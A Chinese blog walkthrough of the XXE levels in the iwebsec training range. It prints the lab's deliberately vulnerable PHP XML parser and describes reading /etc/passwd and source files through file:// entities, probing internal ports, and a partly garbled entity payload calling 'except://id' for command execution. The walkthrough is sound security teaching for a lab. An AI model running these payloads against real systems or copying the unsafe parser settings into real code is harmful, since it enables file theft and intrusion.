• iwebsec靶场 XXE关卡通关笔记


     iwebsec靶场xxe关卡通关笔记     

    XML外部实体注入简称XXE漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义,文档元素。

    内部声明是直接在XML文件内部声明的,对于安全人员来说基本没用。

    外部声明是引用XML以外的文件,有风险。

    外部实体注入可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等等。

    第一关

    如下所示,通关docker查看xxe目录下的index.php源码,内容如下

    1. <?php
    2. require_once('../header.php');
    3. ?>
    4. <html>
    5. <head>
    6. <title>XXE漏洞</title>
    7. </head>
    8. <h2>XXE漏洞</h2>
    9. <div class="alert alert-success">
    10. <p>input xml</p>
    11. </div>
    12. <body>
    13. <?php
    14. libxml_disable_entity_loader (false);
    15. $xmlfile = file_get_contents('php://input');
    16. $dom = new DOMDocument();
    17. if($xmlfile){
    18. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    19. $creds = simplexml_import_dom($dom);
    20. $username = $creds->username;
    21. $password = $creds->password;
    22. }
    23. else{
    24. exit();
    25. }
    26. ?>
    27. <table class='table table-striped'>
    28. <?php
    29. echo 'hello ' . $username;
    30. echo "";
    31. ?>

    在以上代码中,file_get_contents函数读取php://input传入的参数,但是参数没有经过过滤直接就被loadxml函数中调用并且输出了username值,从而导致XXE漏洞的产生。

    由于使用php://input协议传入,故而参数可通过post传递。

    基于此利用file://伪协议读取本地文件来加载外部实体(entity),而代码中涉及到变量username和password需要定义在xml参数中,我们在xml中使用element元素声明,如下所示

    1. username ANY>
    2. password ANY>

     由于username最后输出,故而而我们想获取的实体变量使用entiey来加载

    (1)获取敏感信息(密码文件)

    如果我们想获取/etc/passwd文件,最后post的参数如下所示

    效果如下所示

     使用post参数将xml传入后,可以获取到系统的/etc/passwd文件

    (2)获取根目录源码文件

    如果我们想获取当前网站根目录下index.php的源码文件,传入参数如下所示

     我们可以获取到index.php在base64编码后的内容,效果如下

    使用base64解码进行解码

    效果如下所示

    1. <!DOCTYPE html>
    2. <html>
    3. <head>
    4. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    5. <title>iwebsec 靶场漏洞库</title>
    6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
    7. <meta name="description" content="iwebsec">
    8. <!-- Le styles -->
    9. <link href="./css/bootstrap.css" rel="stylesheet">
    10. <style type="text/css">
    11. body {
    12. padding-top: 60px;
    13. padding-bottom: 40px;
    14. }
    15. </style>
    16. <link href="./css/bootstrap-responsive.css" rel="stylesheet">
    17. </head>
    18. <body>
    19. <div class="navbar navbar-inverse navbar-fixed-top">
    20. <div class="navbar-inner">
    21. <div class="container">
    22. <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
    23. <span class="icon-bar"></span>
    24. <span class="icon-bar"></span>
    25. <span class="icon-bar"></span>
    26. </a>
    27. <a class="brand" href="http://www.iwebsec.com">iwebsec.com</a>
    28. <div class="nav-collapse collapse">
    29. <ul class="nav">
    30. <li class="active"><a href="/">首页</a></li>
    31. </ul>
    32. </div><!--/.nav-collapse -->
    33. </div>
    34. </div>
    35. </div>
    36. <div class="container">
    37. <div class="hero-unit">
    38. <h1>iwebsec</h1>
    39. <p>此网站中集合了SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的web漏洞环境</p>
    40. <a href="http://iwebsec.com" class="twitter-follow-button" data-show-count="true" data-size="large">Follow @iwebsec</a>
    41. <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
    42. </div>
    43. <script>
    44. var _hmt = _hmt || [];
    45. (function() {
    46. var hm = document.createElement("script");
    47. hm.src = "https://hm.baidu.com/hm.js?8d47cbee4e5b4661d33f3edc68a1c7f0";
    48. var s = document.getElementsByTagName("script")[0];
    49. s.parentNode.insertBefore(hm, s);
    50. })();
    51. </script>
    52. <!-- Main hero unit for a primary marketing message or call to action -->
    53. <!-- Example row of columns -->
    54. <div class="row">
    55. <div class="span4">
    56. <h2>SQL注入漏洞</h2>
    57. <ul>
    58. <li><a href="sqli/01.php?id=1">01-数字型注入</a></li>
    59. <li><a href="sqli/02.php?id=1">02-字符型注入</a></li>
    60. <li><a href="sqli/03.php?id=1">03-bool注入</a></li>
    61. <li><a href="sqli/04.php?id=1">04-sleep注入</a></li>
    62. <li><a href="sqli/05.php?id=1">05-updatexml注入</a></li>
    63. <li><a href="sqli/06.php?id=1">06-宽字节注入</a></li>
    64. <li><a href="sqli/07.php?id=1">07-空格过滤绕过</a></li>
    65. <li><a href="sqli/08.php?id=1">08-大小写过滤绕过</a></li>
    66. <li><a href="sqli/09.php?id=1">09-双写关键字绕过</a></li>
    67. <li><a href="sqli/10.php?id=1">10-双重url编码绕过</a></li>
    68. <li><a href="sqli/11.php?id=1">11-十六进制绕过</a></li>
    69. <li><a href="sqli/12.php?id=1">12-等价函数替换过滤绕过</a></li>
    70. <li><a href="sqli/13/index.php?id=1">13-二次注入</a></li>
    71. </ul>
    72. </div>
    73. <div class="span4">
    74. <h2>文件上传漏洞</h2>
    75. <ul>
    76. <li><a href="upload/01.php">01-前端JS过滤绕过</a></li>
    77. <li><a href="upload/02.php">02-文件名过滤绕过</a></li>
    78. <li><a href="upload/03.php">03-Content-Type过滤绕过</a></li>
    79. <li><a href="upload/04.php">04-文件头过滤绕过</a></li>
    80. <li><a href="upload/05.php">05-.htaccess文件上传</a></li>
    81. <li><a href="upload/06.php">06-文件截断上传</a></li>
    82. <li><a href="upload/07.php">07-竞争条件文件上传</a></li>
    83. </ul>
    84. </div>
    85. <div class="span4">
    86. <h2>文件包含漏洞</h2>
    87. <ul>
    88. <li><a href="fi/01.php">01-本地文件包含</a></li>
    89. <li><a href="fi/02.php">02-本地文件包含绕过</a></li>
    90. <li><a href="fi/03.php">03-session本地文件包含</a></li>
    91. <li><a href="fi/04.php">04-远程文件包含</a></li>
    92. <li><a href="fi/05.php">05-远程文件包含绕过</a></li>
    93. <li><a href="fi/06.php">06-php://filter伪协议</a></li>
    94. <li><a href="fi/07.php">07-php://input伪协议</a></li>
    95. <li><a href="fi/08.php">08-php://input伪协议利用</a></li>
    96. <li><a href="fi/09.php">09-file://伪协议利用</a></li>
    97. <li><a href="fi/10.php">10-data://伪协议利用</a></li>
    98. </ul>
    99. </div>
    100. </div>
    101. <div class="row">
    102. <div class="span4">
    103. <h2>命令执行漏洞</h2>
    104. <ul>
    105. <li><a href="exec/01.php">01-命令执行漏洞</a></li>
    106. <li><a href="exec/02.php">02-命令执行漏洞空格绕过</a></li>
    107. <li><a href="exec/03.php">03-命令执行漏洞关键命令绕过</a></li>
    108. <li><a href="exec/04.php">04-命令执行漏洞通配符绕过</a></li>
    109. <li><a href="exec/05.php">05-命令执行漏洞base64编码绕过</a></li>
    110. </ul>
    111. </div>
    112. <div class="span4">
    113. <h2>代码执行漏洞</h2>
    114. <ul>
    115. <li><a href="execcode/01.php">01-eval函数示例</a></li>
    116. <li><a href="execcode/02.php">02-assert函数示例</a></li>
    117. <li><a href="execcode/03.php">03-call_user_func函数示例</a></li>
    118. <li><a href="execcode/04.php">04-call_user_func_array函数示例</a></li>
    119. <li><a href="execcode/05.php">05-create_function函数示例</a></li>
    120. <li><a href="execcode/06.php">06-array_map函数示例</a></li>
    121. <li><a href="execcode/07.php">07-preg_replace无漏洞函数示例</a></li>
    122. <li><a href="execcode/08.php">08-preg_replace漏洞函数示例</a></li>
    123. <li><a href="execcode/09.php">09-可变函数漏洞示例01</a></li>
    124. <li><a href="execcode/10.php">10-可变函数漏洞示例02</a></li>
    125. </ul>
    126. </div>
    127. <div class="span4">
    128. <h2>XSS 漏洞</h2>
    129. <ul>
    130. <li><a href="xss/01.php">01-反射型XSS漏洞</a></li>
    131. <li><a href="xss/02.php">02-存储型XSS漏洞</a></li>
    132. <li><a href="xss/03.php">03-DOM XSS漏洞</a></li>
    133. <li><a href="xss/04.php">04-XSS修复示例</a></li>
    134. </ul>
    135. </div>
    136. </div>
    137. <div class="row">
    138. <div class="span4">
    139. <h2>SSRF漏洞</h2>
    140. <ul>
    141. <li><a href="ssrf/index.php">01-SSRF漏洞文件读取</a></li>
    142. <li><a href="ssrf/index.php">02-SSRF漏洞内网探测</a></li>
    143. <li><a href="ssrf/index.php">03-SSRF漏洞内网应用攻击</a></li>
    144. </ul>
    145. </div>
    146. <div class="span4">
    147. <h2>XXE漏洞</h2>
    148. <ul>
    149. <li><a href="xxe/index.php">01-XXE漏洞文件读取</a></li>
    150. <li><a href="xxe/index.php">02-XXE漏洞内网探测</a></li>
    151. <li><a href="xxe/index.php">03-XXE漏洞内网应用攻击</a></li>
    152. </ul>
    153. </div>
    154. <div class="span4">
    155. <h2>反序列化漏洞</h2>
    156. <ul>
    157. <li><a href="unserialize/01/index.php">01-反序列化漏洞示例01</a></li>
    158. <li><a href="unserialize/02/index.php">02-反序列化漏洞示例02</a></li>
    159. </ul>
    160. </div>
    161. </div>
    162. <div class="row">
    163. <div class="span4">
    164. <h2>中间件漏洞</h2>
    165. <ul>
    166. <li><a href="middleware/01.php">01-Weblogic中间件漏洞</a></li>
    167. <li><a href="middleware/02.php">02-Tomcat中间件漏洞</a></li>
    168. <li><a href="middleware/03.php">03-Jboss中间件漏洞</a></li>
    169. </ul>
    170. </div>
    171. <div class="span4">
    172. <h2>解析漏洞</h2>
    173. <ul>
    174. <li><a href="parse/01.php">01-Apache解析漏洞</a></li>
    175. <li><a href="parse/02.php">02-Nginx解析漏洞</a></li>
    176. </ul>
    177. </div>
    178. <div class="span4">
    179. <h2>数据库漏洞</h2>
    180. <ul>
    181. <li><a href="database/01.php">01-MySQL数据库漏洞</a></li>
    182. <li><a href="database/02.php">02-Redis数据库漏洞</a></li>
    183. </ul>
    184. </div>
    185. </div>
    186. <!DOCTYPE html>
    187. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    188. <footer>
    189. <b>Copyright(C)2017-2019 <a href="http://www.iwebsec.com" class="hui12" target="_blank">iwebsec 网络安全知识库</a> All Rights Reserved</b>
    190. </footer>
    191. </html>

     (3)获取当前xxe目录源码文件

    post参数为

    访问后如下所示

    然后通过base64解码即可查看到源文件。

    第二关

    利用XXE漏洞进行内网探测,如果端口开启那么请求会很快返回,如果端口关闭那么请求会非常慢。

    (1)探测22端口是否开启

    payload如下所示

    如下所示

    我们登录到容器中,通过netstat -ano|grep 22也确认确实打开了22端口

    (2)探测23端口是否开启

    接下来使用一个不存在服务的端口号23来尝试,如下所示通过 netstat -ano|grep 23可以确认这个端口处于关闭状态

    payload如下所示

    效果如下所示,提示拒绝连接

     第三关

    内网应用攻击,这里可以用PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就可以执行如下的命令:

    1. creds [
    2. username ANY>
    3. password ANY>
    4. xxe SYSTEM "except://id">
    5. ]>
    6. <creds>
    7. <username>&xxe;username>
    8. <password>testpassword>
    9. creds>

    利用xxe漏洞可以调用except://伪协议调用系统命令,不过这种需要PHP环境支持except扩展模块被加载,这样就可以利用它执行系统命令了。然而这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。

     由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

    如上所示当前iwebsec服务器的except扩展模块这个可执行漏洞并不存在,故而无法通过此XXE漏洞执行命令。

    这里要强调一下,XXE EXCEPT可执行漏洞这种情况很少发生,但极少数情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。需要黑客足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么才可以执行命令。虽然iwebsec靶场提供了xxe漏洞,但是他的环境中并不是一个幸运的环境,故无法使用xxe except漏洞进行渗透。

  • 相关阅读:
    中级C++:红黑树
    JS判断浏览器类型
    产品文档-BRD、MRD和PRD
    iOS开发实战-仿小红书App开发-1-App创建与Git
    计算机毕业设计之java+SSM动物园门票预订网站系统
    嵌入式基础知识-IP地址与子网划分
    Android数据库操作Greendao主键设置
    【MQTT】关于部署含有MQTT协议的程序pod到K8S中出现的问题
    5.27 picker组件
    JavaWeb以Maven整合Mybatis报错java.lang.NoClassDefFoundError(Web项目未能完全加载Maven下的依赖)
  • 原文地址:https://blog.csdn.net/mooyuan/article/details/127678778